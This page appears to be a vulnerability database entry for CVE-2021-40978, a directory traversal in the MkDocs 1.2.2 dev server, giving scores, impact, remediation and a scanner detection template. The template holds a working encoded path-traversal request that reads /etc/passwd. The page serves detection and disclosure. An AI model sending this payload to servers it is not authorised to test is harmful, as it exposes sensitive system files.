SecurityContext

CVE-2021-40978: MKdocs 1.2.2 - Directory Traversal

Classification

  • Cwe: CWE-22
  • Cvss score: 7.5
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  • Epss score: 0.14984
  • Epss percentile: 0.968
  • Cpe: cpe:2.3:a:mkdocs:mkdocs:1.2.2:*:*:*:*:*:*:*

Metadata

  • Max-request: 1
  • Product: mkdocs
  • Vendor: mkdocs

Products

ProductIndexedUrl
mkdocs:mkdocsyes/v1/products/mkdocs/mkdocs

Labels

  • Name: MKdocs - Path Traversal
  • Impact: Remote attackers can access sensitive files via directory traversal, potentially leading to information disclosure.
  • Remediation: Configure the dev server to not be publicly accessible or update to a version with fixed security issues.
  • Vulnerability type: path_traversal
  • Vulnerability impact: information_disclosure
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2021-40978
  • Not known: requirements

```yaml

id: CVE-2021-40978

info:

name: MKdocs 1.2.2 - Directory Traversal

author: pikpikcu

severity: high

description: The MKdocs 1.2.2 built-in dev-server allows directory traversal using the port 8000, enabling remote exploitation to obtain sensitive information. Note the vendor has disputed the vulnerability (see references) because the dev server must be used in an unsafe way (namely public) to have this vulnerability exploited.

impact: |

An attacker can read or modify sensitive files on the server, potentially leading to unauthorized access, data leakage, or system compromise.

remediation: |

Upgrade MKdocs to version 1.2.3 or later to fix the directory traversal vulnerability.

reference:

- https://github.com/mkdocs/mkdocs/pull/2604

- https://github.com/nisdn/CVE-2021-40978

- https://nvd.nist.gov/vuln/detail/CVE-2021-40978

- https://github.com/mkdocs/mkdocs

- https://github.com/mkdocs/mkdocs/issues/2601

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

cvss-score: 7.5

cve-id: CVE-2021-40978

cwe-id: CWE-22

epss-score: 0.14984

epss-percentile: 0.968

cpe: cpe:2.3:a:mkdocs:mkdocs:1.2.2:*:*:*:*:*:*:*

metadata:

max-request: 1

vendor: mkdocs

product: mkdocs

tags: cve2021,cve,mkdocs,lfi,vuln

http:

- method: GET

path:

- '{{BaseURL}}/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd'

matchers-condition: and

matchers:

- type: regex

part: body

regex:

- "root:[x*]:0:0:"

- type: status

status:

- 200

digest: 4a0a00473045022052980e1e1830129c8367ee4db0dc16fcc367dcc47a1e3f2663f4a99ea48e7609022100e0d6c9503cb4d1cc0bca4be3deeba04eebbe2fcf43700eae12094c34bfcfea18:922c64590222798bb761d5b6d8e72950

```